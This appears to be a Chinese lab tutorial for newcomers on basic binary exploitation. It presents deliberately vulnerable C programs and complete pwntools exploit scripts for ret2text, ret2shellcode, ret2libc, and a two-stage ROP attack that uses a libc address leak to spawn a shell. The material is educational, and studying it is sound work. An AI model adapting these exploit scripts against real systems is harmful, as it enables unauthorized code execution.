新生Lab-3 基本二进制攻防训练

背景知识

栈介绍

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的

进程虚拟地址空间布局

  • 代码段(text):存放二进制代码
  • 数据段(data/bss):存放全局变量
  • 栈(stack):分配函数栈帧
  • 堆(heap):分配动态内存

参考

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86

环境配置

直接输入make即可,kali里啥都有

ret2text

背景

ret2text(Return-to-text)是栈溢出攻击中一种基础的利用方式,全称为“return to .text 段”,即利用栈溢出劫持程序的控制流,跳转到程序中已有的 .text 段代码执行(通常是某些函数或指令序列)。

  • .text 段:程序中存放可执行指令的区域,通常包括主函数、库函数、其他逻辑代码等。
  • 栈溢出攻击:攻击者覆盖栈上的返回地址,使程序跳转到攻击者指定的代码位置。
  • 返回地址:函数调用后从栈上“弹出”的地址,用于跳回调用者。

当程序存在栈溢出漏洞时,攻击者可以:

  1. 构造 payload,覆盖返回地址;
  2. 将返回地址设置为 .text 段中的某个合法函数或指令序列的地址(比如 system()win() 函数、或者 gadget);
  3. 程序返回时跳转到该地址,执行攻击者预期的行为。

分析

首先直接查看源码:

// gcc -g -fno-stack-protector -o ret2text ret2text.c -no-pie 
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

void backdoor(){
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}

void vul(){
  char buf[0x20];
  read(0, buf, 0x40);
}

int main(){
  vul(); 
}

攻击目标很明显,就是要劫持程序控制流到源码中已定义的后门函数 backdoor()。backdoor() 函数执行 /bin/sh,vul() 函数包含一个 0x20 字节的 buf,但通过 read(0, buf, 0x40) 读取 0x40 字节的数据,存在缓冲区溢出漏洞,main() 函数调用 vul()。

这里我们把汇编得到的程序用ida反编译一下:

可以看到后门对应的地址是0x00401136,如果我们能控制程序返回到这个地址,那就可以直接拿到程序的shell了。

这里我们再查看vul函数,双击这个buf:

简单计算一下,可以发现buf的大小是0x20+8,也就是40,而我们可以读取0x40的大小,也就是64,显然是远远超过了这个范围,存在覆盖问题。

所以我们只需要先输入40大小的数据,然后就可以用我们的shell地址覆盖返回地址了:

from pwn import *

sh = process('./ret2text')
target = 0x00401136

sh.sendline(b'A' * (0x20 + 8) + p64(target))
sh.interactive()

当我们调用一个函数(如 vul())时,系统会为它在栈上分配一段空间,典型结构如下(栈是向下增长的):

              ↑ 高地址
              |
              |  [main 的返回地址]     ← 假设从 main 调用 vul
              |  [saved RBP]          ← main 的栈帧基址
              |  ...                  ← 旧栈帧
              +--------------------+  ← vul 函数开始执行时的 RSP
              |     buf[0x20]       |  ← 32 字节的局部变量
              +--------------------+
              |    saved RBP        |  ← vul 函数调用时 push 的 RBP(8 字节)
              +--------------------+
              |  返回地址(RET)     |  ← vul() 返回时 pop 这里跳转
              ↓
  • char buf[0x20];(32字节)
    • 编译器在栈上为这个变量分配了 0x20 字节空间,从当前的栈顶(RSP)往高地址分配。
  • saved RBP(8字节)
    • 函数进入时会执行 push rbp 保存上一个栈帧的基址(调用者的 RBP),然后 mov rbp, rsp 设置当前栈帧的基址。
  • 返回地址 RET(8字节)
    • 这是函数调用时由 call 指令压入栈中的返回地址。当 ret 执行时,会从这里 pop 一个地址到 rip 跳回去。

当我们输入b'A' * 40 + p64(0x401136),栈上布局会变成:

| buf[0x20]        |  ← 被 32 个 'A' 覆盖
| saved RBP        |  ← 被 8 个 'A' 覆盖
| 返回地址(RET)   |  ← 被覆盖为 0x401136(backdoor)

因此当 vul() 函数结束后执行 ret,就不是跳回 main() 后续代码,而是跳转到我们的精心准备的 0x401136 地址执行。

ret2shellcode

背景

ret2shellcode(Return to shellcode)是栈溢出攻击中的一种经典利用方式,它的核心思想是:将自定义的 shellcode 放入栈中,然后通过覆盖返回地址,使程序跳转执行栈上的 shellcode,从而实现攻击者控制的行为(如打开 shell)。

ret2shellcode 这个名字可以拆成两部分理解:

  • ret2:通过“返回”(return)指令来劫持控制流;
  • shellcode:一段手工编写的二进制代码,执行某些攻击操作(如 /bin/sh)。

攻击流程:

  1. 在输入中注入 shellcode(机器指令);
  2. 利用栈溢出覆盖返回地址,使程序跳转到栈上 shellcode 的地址;
  3. 程序执行 shellcode,攻击者获得 shell 或执行任意代码。

分析

首先查看源码:

/* 
  gcc -fno-stack-protector -z execstack \
   -g -o ret2shellcode ret2shellcode.c 
*/
#include<unistd.h>
#include<stdio.h>

void vul(){
  char buf[0x20];
  printf("I will give you stack: %p\n", buf);
  read(0, buf, 0x100);
}

int main(){
  vul();
}

简单分析一下,vul() 函数与 ret2text.c 类似,buf 大小 0x20 字节,读取 0x100 字节,存在溢出。同时程序会通过 printf(“I will give you stack: %p\n”, buf) 泄露 buf 在栈上的地址,程序使用 -z execstack 编译,使得栈区可执行。

我们的目标是把 shellcode 放在 buf 起始位置,溢出 saved RBP(8字节),再覆盖返回地址为 buf 地址,当 vul() 返回时跳到 shellcode 执行。比如我们现在随便运行一下:

可以看到这里输出了栈地址0x7fff92bcf780,此时栈布局分布如下:

buf[0x20]            → shellcode 放这里
saved rbp (8字节)
ret addr (8字节)     → 覆盖为 buf 地址:0x7fff92bcf780

我们需要传入的payload就为:

payload = shellcode
payload += b'A' * (0x20 - len(shellcode))   # 填满 buf 到 saved rbp
payload += b'B' * 8                          # 跳过 saved rbp
payload += p64(0x7fff92bcf780)              # 返回地址跳转到 shellcode

完整的代码如下:

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug' 

sh = process('./ret2shellcode')
stack_line = sh.recvline()
stack_addr = int(stack_line.strip().split(': ')[1], 16)
log.success('Leaked stack address: ' + hex(stack_addr))

shellcode = asm(shellcraft.sh())
log.info('Shellcode length: %d' % len(shellcode))

if len(shellcode) > 0x20:
    log.error("Shellcode too long! Must fit in 0x20 bytes buffer.")

payload = shellcode
payload += 'A' * (0x20 - len(shellcode))
payload += 'B' * 8
payload += p64(stack_addr)

sh.send(payload)
sh.interactive()

很遗憾报错了:

我们注入的 shellcode 太长了,超过了 buf[0x20] 的大小(32 字节),如果继续使用原逻辑会导致shellcode 覆盖掉 RBP、返回地址,栈结构损坏直接 crash。

我们之前的方式其实是在buf的最开始进行注入,但这要求shellcode <= 0x20,否则就不行,因此我们必须换一个方式,将shellcode放在payload的末尾,在 buf 里只存储填充和地址信息,shellcode 安全地放在后面,返回地址直接跳到栈上的 shellcode,绕开长度限制:

               ↓ 高地址
|----------------------------|
|      buf[0x20]             | ← 填充 'A' * 32
|----------------------------|
|      saved RBP             | ← 'B' * 8
|----------------------------|
|      return address        | ← 跳到 buf + 0x30(32+8+8)
|----------------------------|
|      shellcode             | ← 真实执行的代码
|----------------------------|

现在的脚本如下:

# coding:utf-8
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

sh = process("./ret2shellcode")

# 获取 stack 地址
stack_line = sh.recvline()
stack_addr = int(stack_line.strip().split(": ")[1], 16)
log.success("Leaked stack address: " + hex(stack_addr))

# 生成 shellcode
shellcode = asm(shellcraft.sh())
log.info("Shellcode length: %d" % len(shellcode))

# RET 跳到 shellcode 地址:buf + 0x30
# [ buf(32) ][ RBP(8) ][ RET ][ shellcode ]
ret_addr = stack_addr + 0x30

# 构造 payload
payload = "A" * 0x20         # 填充 buf
payload += "B" * 8           # 假 RBP
payload += p64(ret_addr)     # 返回地址跳转到 shellcode
payload += shellcode         # shellcode 放末尾

sh.sendline(payload)
sh.interactive()

ret2libc

背景

ret2libc(Return-to-libc)是一种经典的栈溢出攻击技术,用于绕过某些防御机制,比如禁止执行栈上的代码(如 NX/DEP)。这种攻击通过复用程序中已有的 libc 函数(如 system)来执行恶意代码(比如调用 /bin/sh 取得 shell)。核心思想是:攻击者不再向栈注入 shellcode,而是通过覆盖返回地址,让程序直接“跳转”到 libc 中的某个函数,比如 system(),以执行任意命令。

攻击步骤:

  1. 溢出缓冲区
    • 攻击者利用栈溢出覆盖返回地址。
  2. 伪造调用栈
    • 将返回地址设置为 system() 的地址;
    • 构造 system() 的参数(比如 /bin/sh);
    • 伪造 system() 执行完后的返回地址(可填任意地址如 exit());
  3. 利用泄露信息
    • 如果有 ASLR,攻击者通常需要泄露 libc 基址(如泄露 puts 或 printf 地址);
    • 再计算出 system()"/bin/sh" 的实际地址。

分析

首先查看源码:

/*
  gcc -fno-stack-protector -no-pie \
      -g -o ret2libc ret2libc.c
 */
#include<stdio.h>
#include<unistd.h>

void vul(){
  char buf[0x20];
  read(0, buf, 0x100);
}

int main(){
  puts("hello!");
  printf("I will give you libc address: %p\n", (void*)puts);
  vul();
}

ret2libc.c程序有一个vul函数,其中包含一个0x20字节的缓冲区,并读取0x100字节,导致缓冲区溢出。它还打印libcputs函数的地址,这使我们能够计算libc的基地址。 该程序使用-fno-stack-protector-no-pie编译。

当NX位启用时,我们无法在堆栈上执行shellcode。然而,我们可以使用ROP来调用libc中已有的函数。目标是调用execve("/bin/sh", 0, 0)来获取shell。这需要找到libcexecve的地址和字符串"/bin/sh"的地址。程序提供了puts的地址,允许我们计算libc的基地址。

因此思路就是通过泄露 libc 中某个函数(如 puts)的真实地址,计算出 libc 基地址,然后借助 ROP 技术调用 execve("/bin/sh", NULL, NULL),劫持程序控制流获得 shell。

首先,由于char buf[0x20],所以当调用 read(0, buf, 0x100) 时很显然会覆盖返回地址,此时的栈布局如下:

   ↓ 高地址
+-------------------+
|    return addr    | ←←← 我们要覆盖的目标
+-------------------+
|    saved RBP      |
+-------------------+
|    buf[0x20]      | ←←← read 写入从这里开始
|                   |
+-------------------+
   ↑ 低地址

当我们输入恶意payload进行覆盖时,栈结构会变成下面的情况:

+-------------------------------+
| execve                       | ← 返回到 libc 中 execve()
+-------------------------------+
| 0                            | ← 第三个参数 (rdx)
+-------------------------------+
| pop rdx; ret                 | ← gadget: 设置 rdx
+-------------------------------+
| 0                            | ← 第二个参数 (rsi)
+-------------------------------+
| pop rsi; ret                 | ← gadget: 设置 rsi
+-------------------------------+
| &"/bin/sh"                   | ← 第一个参数 (rdi)
+-------------------------------+
| pop rdi; ret                 | ← gadget: 设置 rdi
+-------------------------------+
| "B"*8                        | ← saved RBP(已无用)
+-------------------------------+
| "A"*0x20                     | ← 填充 buffer
+-------------------------------+ ← RSP 起始点

此时 RSP 已移动至 pop rdi; ret 的位置,函数返回后即执行第一个 gadget。接下来 ret 跳到 pop rdi; ret

执行 pop rdi; ret
→ rdi = &"/bin/sh"
→ RIP = pop rsi; ret

rsp继续向下移动:

+-------------------------------+
| 0                            | ← rsi(准备设置)
+-------------------------------+
| pop rsi; ret                 |

然后执行 pop rsi; ret

→ rsi = 0
→ RIP = pop rdx; ret

栈顶变成:

+-------------------------------+
| 0                            | ← rdx(准备设置)
+-------------------------------+
| pop rdx; ret                 |

最后执行 pop rdx; ret

→ rdx = 0
→ RIP = execve

栈顶状态变成:

+-------------------------------+
| execve                      | ← 控制流即将跳转到这里

因此执行execve("/bin/sh", 0, 0),此时rdi = &"/bin/sh"rsi = 0rdx = 0,程序执行系统调用 execve(),从而打开一个 shell。

# coding:utf-8
from pwn import *

context.binary = './ret2libc'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

p = process('./ret2libc')

# 泄露 puts
p.recvuntil('libc address: ')
leaked_puts = int(p.recvline().strip(), 16)
log.success("puts: " + hex(leaked_puts))

# 基地址和目标函数地址
libc_base = leaked_puts - libc.symbols['puts']
execve = libc_base + libc.symbols['execve']
binsh = next(libc.search('/bin/sh')) + libc_base

# Gadget 偏移
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_base
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] + libc_base
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0] + libc_base

# payload
payload = "A" * 0x20
payload += "B" * 8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(execve)

# gdb.attach(p)
p.sendline(payload)
p.interactive()

practice

首先IDA查看一下:

  • setvbuf(stdout, 0LL, 2, 0LL);:设置stdout为行缓冲,方便交互输出立即显示。
  • printf("Name:", 0LL);:打印Name:提示用户输入。
  • read(0, &name, 0x100uLL);:从标准输入读取最多256字节到name变量。
  • printf("Try your best:", &name);:传入了&name作为格式字符串参数,而printf第一个参数是格式字符串。这里的&name其实指向用户控制的字符串,导致格式字符串漏洞(format string vulnerability)。
  • read(0, &buf, 0x100uLL);:继续读取256字节到bufbuf只有一个字节大小,造成缓冲区溢出漏洞。

这里实际上存在两个问题:

  • printf格式字符串漏洞,因为格式字符串由用户控制。
  • readbuf的读取导致溢出(写入溢出),可以覆盖后续栈数据,控制返回地址。

因此现在的利用思路如下:

  • 利用溢出覆盖返回地址,构造ROP链泄露printf的真实地址(通过printf@got)。
  • 利用泄露的printf地址计算libc基地址,然后构造第二个ROP链调用system("/bin/sh"),获得shell。

我们的目标是构造如下的栈结构:

+-----------------------------+  <-- 栈顶(高地址)
|                             |
|        其它局部变量           |
|                             |
+-----------------------------+
|    buf[256] 或 buf + 溢出空间  |
|  (实际溢出写入payload)       |
|  ┌─────────────────────┐   |
|  │ A * 0x20 (32字节填充)│   |
|  ├─────────────────────┤   |
|  │ Saved RBP (8字节)     │   |
|  ├─────────────────────┤   |
|  │ Return Address (8字节)│ <-- 溢出这里覆盖为ROP链入口地址
|  ├─────────────────────┤   |
|  │ ROP链的第1条gadget地址 │
|  ├─────────────────────┤   |
|  │ ROP链的第1个参数       │
|  ├─────────────────────┤   |
|  │ ROP链的第2条gadget地址 │
|  ├─────────────────────┤   |
|  │ ROP链的第2个参数       │
|  ├─────────────────────┤   |
|  │ ...                   │
|  └─────────────────────┘   |
+-----------------------------+
|  Saved frame of caller       |
+-----------------------------+
|  返回到 main 或其他调用点    |
+-----------------------------+  <-- 栈底(低地址)

在第一次溢出中,我们需要执行泄露ROP链。栈溢出填充 A * 0x20(覆盖到 saved rbp 之前),之后8字节覆盖 saved rbp。接下来8字节覆盖返回地址,改为ROP链入口(printf@plt)ROP链后续参数依次放置,供ROP gadget使用,参数是寄存器内容(rdi、rsi等),ROP调用 printf(printf@got),泄露printf地址,返回 main 函数地址,重新进入程序,准备第二次溢出。

收到泄露地址后,计算 libc 基址,进行第二次利用。同样的栈溢出方式,返回地址覆盖为 system 地址,参数寄存器(rdi)设置为指向 “/bin/sh” 字符串地址,调用 system(“/bin/sh”) 执行shell,最后调用 exit 安全退出程序。

详细的调用图如下:

main:
  read(0, name, 0x100)          # 输入name
  printf("Try your best:", name) # 格式字符串漏洞利用点
  read(0, buf, 0x100)           # 第二次输入,缓冲区溢出开始

溢出写入:
  buf溢出 -> 覆盖saved rbp和返回地址 -> 返回地址跳转ROP链1

ROP链1:
  设置rdi = printf@got
  调用printf,打印printf真实地址
  返回main,准备第二次利用

main再次执行:
  再次触发溢出,构造ROP链2

ROP链2:
  栈对齐ret
  设置rdi = "/bin/sh"地址
  调用system("/bin/sh")
  调用exit安全退出

代码如下:

# coding:utf-8
from pwn import *

context.binary = "./practice"
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

io = process(context.binary.path)
libc = context.binary.libc
prog = context.binary

# 创建ROP链,泄露printf地址
rop = ROP(prog)
rop.call(prog.plt["printf"], [prog.got["printf"]])
rop.call(prog.symbols["main"])

log.info("Stage 1 ROP chain:\n" + rop.dump())

# 第一次溢出
payload = flat({0x20: b"A" * 8, 0x28: rop.chain()})

io.recvuntil(b"Name:")
io.sendline(b"dummy_name")
io.recvuntil(b"Try your best:")
io.sendline(payload)

# 获取溢出的地址
leak = io.recvuntil(b"Name:", drop=True)
printf_leak = u64(leak.ljust(8, b"\x00"))
libc.address = printf_leak - libc.sym["printf"]
log.success(f"printf @ {hex(printf_leak)}")
log.success(f"libc base @ {hex(libc.address)}")

# 再创建一次ROP链,目标是获取shell
rop = ROP(libc)
rop.raw(rop.find_gadget(["ret"]).address)
rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))])
rop.call(libc.sym["exit"])

log.info("Stage 2 ROP chain:\n" + rop.dump())

# 第二次溢出
payload = flat({0x20: b"A" * 8, 0x28: rop.chain()})

io.sendline(b"dummy_name2")
io.recvuntil(b"Try your best:")
io.sendline(payload)

io.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇